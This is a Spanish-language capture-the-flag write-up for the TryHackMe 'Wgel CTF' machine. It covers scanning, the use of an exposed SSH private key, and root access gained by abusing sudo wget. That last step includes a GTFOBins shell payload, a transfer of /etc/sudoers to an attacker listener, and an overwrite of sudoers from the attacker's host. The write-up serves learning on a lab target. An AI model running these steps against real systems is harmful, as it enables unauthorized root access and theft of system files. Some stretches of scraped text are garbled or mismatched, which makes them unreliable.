

Wgel CTF

- Enumeration
 - Ping
 - Nmap
 - HTTP
 - Fuzzing Web
- Exploitation
 - SSH
 - Privilege Escalation
 - Sudo

Resolviendo la máquina Wgel CTF

En este **Write-up** se documenta la resolución de la máquina **Wgel CTF**, categorizada como fácil en **TryHackMe**.

Durante el proceso se identifican credenciales ocultas, se aprovecha una clave privada **SSH** para acceder al sistema, y finalmente se escala privilegios explotando el binario `wget` mediante la sobrescritura del archivo `sudoers`.

Enumeration

Ping

```
ping -c 1 10.10.71.250
```

```
PING 10.10.71.250 (10.10.71.250) 56(84) bytes of data.  
64 bytes from 10.10.71.250: icmp_seq=1 ttl=63 time=51.9 ms  
  
— 10.10.71.250 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 51.937/51.937/51.937/0.000 ms
```

TTL=63/64 -> Linux

Nmap

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.71.250 -oG allPorts
```

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 11:41 CEST
Initiating SYN Stealth Scan at 11:41
Scanning 10.10.71.250 [65535 ports]
Discovered open port 80/tcp on 10.10.71.250
Discovered open port 22/tcp on 10.10.71.250
Completed SYN Stealth Scan at 11:42, 13.00s elapsed (65535 total ports)
Nmap scan report for 10.10.71.250
Host is up, received user-set (0.053s latency).
Scanned at 2025-08-17 11:41:59 CEST for 13s
Not shown: 65382 closed tcp ports (reset), 151 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
80/tcp    open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.08 seconds
Raw packets sent: 67684 (2.978MB) | Rcvd: 66384 (2.655MB)
```

```
nmap -p22,80 -sCV 10.10.71.250 -oN targeted
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 11:42 CEST
Nmap scan report for 10.10.71.250
Host is up (0.050s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  2048 94:96:1b:66:80:1b:76:48:68:2d:14:b5:9a:01:aa:aa (RSA)
|_  256 18:f7:10:cc:5f:40:f6:cf:92:f8:69:16:e2:48:f4:38 (ECDSA)
|_  256 b9:0b:97:2e:45:9b:f3:2a:4b:11:c7:83:10:33:e0:ce (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
```

HTTP

```
http://10.10.71.250/
```



ubuntu

Apache2 Ubuntu Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at `/var/www/html/index.html`) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is **fully documented in `/usr/share/doc/apache2/README.Debian.gz`**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the `apache2-doc` package was installed on this server.

Se revisa el código fuente en busca de comentarios ocultos.

```
266 /etc/apache2/
267 |-- apache2.conf
268 |   |-- ports.conf
269 |-- mods-enabled
270 |   |-- *.load
271 |   |-- *.conf
272 |-- conf-enabled
273 |   |-- *.conf
274 |-- sites-enabled
275 |   |-- *.conf
276
277
278 <!-- Jessie don't forget to update the webiste -->
279     </pre>
280     <ul>
281         <li>
```

Se encuentra el usuario `jessie`.

Fuzzing Web

```
gobuster dir -u http://10.10.71.250/ -w /usr/share/wordlists/dirbuster/directory-
list-lowercase-2.3-medium.txt -t 64
```

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.71.250/
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/sitemap (Status: 301) [Size: 314] [→ http://10.10.71.250/sitemap/]
/server-status (Status: 403) [Size: 277]
Progress: 207643 / 207644 (100.00%)

Finished
```

This is the default welcome page after installation on Ubuntu systems. The package will only display this page if the package is working properly. before continuing to operate your system. If you are a normal user of this system, please ensure that the site is currently unavailable. site's administrator.

Ubuntu's Apache2 default configuration files are organized into several files optimized for performance. Documentation for the documentation package was installed. The configuration layout for an Apache2 web server is as follows:

```
gobuster dir -u http://10.10.71.250/sitemap/ -w
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 64
```

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.71.250/sitemap/
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/images (Status: 301) [Size: 321] [→ http://10.10.71.250/sitemap/images/]
/css (Status: 301) [Size: 318] [→ http://10.10.71.250/sitemap/css/]
/js (Status: 301) [Size: 317] [→ http://10.10.71.250/sitemap/js/]
/fonts (Status: 301) [Size: 320] [→ http://10.10.71.250/sitemap/fonts/]
/sass (Status: 301) [Size: 319] [→ http://10.10.71.250/sitemap/sass/]
Progress: 207643 / 207644 (100.00%)

Finished
```

If you are a normal user of this system, please ensure that the site is currently unavailable. site's administrator.

Ubuntu's Apache2 default configuration files are organized into several files optimized for performance. Documentation for the documentation package was installed. The configuration layout for an Apache2 web server is as follows:

```
gobuster dir -u http://10.10.71.250/sitemap/sass/ -w
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 64
```

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.71.250/sitemap/sass/
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/bootstrap (Status: 301) [Size: 329] [→ http://10.10.71.250/sitemap/sass/bootstrap/] 10s
Progress: 207643 / 207644 (100.00%)

Finished
```

```

# vim:ft=conf
-- sites-enabled
# vim:ft=conf

* apache2.conf is the main
  configuration files when st
* ports.conf is always inclu
* Configuration files in the m
  particular configuration sh
  virtual host configurations.
```

Se revisan todos los directorios, y no se encuentra nada. Se procede a realizar **Fuzzing Web** con *dirb*.

DIRB v2.22
By The Dark Raver

START_TIME: Sun Aug 17 11:51:54 2025
URL_BASE: http://10.10.71.250/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://10.10.71.250/ ——
+ http://10.10.71.250/index.html (CODE:200|SIZE:11374)
+ http://10.10.71.250/server-status (CODE:403|SIZE:277)
⇒ DIRECTORY: http://10.10.71.250/sitemap/

—— Entering directory: http://10.10.71.250/sitemap/ ——
⇒ DIRECTORY: http://10.10.71.250/sitemap/.ssh/
⇒ DIRECTORY: http://10.10.71.250/sitemap/css/
⇒ DIRECTORY: http://10.10.71.250/sitemap/fonts/
⇒ DIRECTORY: http://10.10.71.250/sitemap/images/
+ http://10.10.71.250/sitemap/index.html (CODE:200|SIZE:21080)
⇒ DIRECTORY: http://10.10.71.250/sitemap/js/

—— Entering directory: http://10.10.71.250/sitemap/.ssh/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

—— Entering directory: http://10.10.71.250/sitemap/css/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

—— Entering directory: http://10.10.71.250/sitemap/fonts/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

—— Entering directory: http://10.10.71.250/sitemap/images/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)



—— Entering directory: http://10.10.71.250/sitemap/js/ ——
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Sun Aug 17 12:00:04 2025
DOWNLOADED: 9224 - FOUND: 3

Se observa el directorio oculto `/.ssh`.

`http://10.10.71.250/sitemap/.ssh/`

Index of /sitemap/.ssh

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 id_rsa	2019-10-26 09:24	1.6K	

Apache/2.4.18 (Ubuntu) Server at 10.10.71.250 Port 80

Se encuentra una `id_rsa`.

Exploitation

SSH

Se descarga la `id_rsa` encontrada anteriormente.

```
wget http://10.10.71.250/sitemap/.ssh/id_rsa
```

Se da permisos de ejecución al archivo descargado.

```
chmod 600 id_rsa
```

La clave privada `id_rsa` encontrada probablemente corresponda al usuario `jessie`, por lo que se intenta autenticación por **SSH** con ella.

Se establece conexión al servicio **SSH** (22).

```
ssh -i id_rsa jessie@10.10.71.250
```

```
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

8 packages can be updated.
8 updates are security updates.

jessie@CorpOne:~$
```

Privilege Escalation

Sudo

```
sudo -l
```

```
Matching Defaults entries for jessie on CorpOne: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jessie may run the following commands on CorpOne: (ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wget
```

Se encuentra el binario: `/usr/bin/wget`, se realiza una búsqueda por **GTFOBins**.

Sudo

If the binary is allowed to run as superuser by **sudo**, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0
```

Al ejecutarse `wget` con privilegios sudo, se puede sobrescribir el archivo `/etc/sudoers` y otorgar permisos de superusuario al usuario actual.

Se inicia una escucha por el puerto 80.

```
nc -lvp 80 > sudoers
```

Desde la máquina víctima se transfiere el archivo `sudoers`.

```
sudo /usr/bin/wget 10.8.184.124/sudoers --output-document=sudoers
```

```
cat sudoers
```



```

POST / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.8.184.124
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 797

# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL) ALL

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#include_dir /etc/sudoers.d
jessie   ALL=(root) NOPASSWD: /usr/bin/wget

```

Se modifica la última línea de permisos por lo siguiente:

```
jessie ALL=(ALL) NOPASSWD: ALL
```

Se comparte el archivo.

```
python3 -m http.server 80
```

En la máquina víctima, se accede al directorio `/etc` y se descarga el archivo compartido.

```
cd /etc
```

```
sudo /usr/bin/wget 10.8.184.124/sudoers --output-document=sudoers
```

Se verifica que el archivo `sudoers` se haya sobrescrito correctamente.

```
sudo -l -l
```

```
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Commands:
        ALL

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
        ALL
```

sudo su

```
root@CorpOne:/etc#
```

Finalmente, se obtiene acceso *root* al sistema.
